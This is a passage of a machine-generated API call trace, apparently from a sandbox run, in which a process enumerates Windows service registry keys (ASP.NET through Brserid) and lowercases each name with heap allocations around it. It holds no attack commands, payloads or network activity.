0x21f1a00 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.970] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.970] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.970] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0258.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0258.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.972] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.972] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0258.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.974] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.974] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.974] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0258.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0258.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.975] RegEnumKeyW 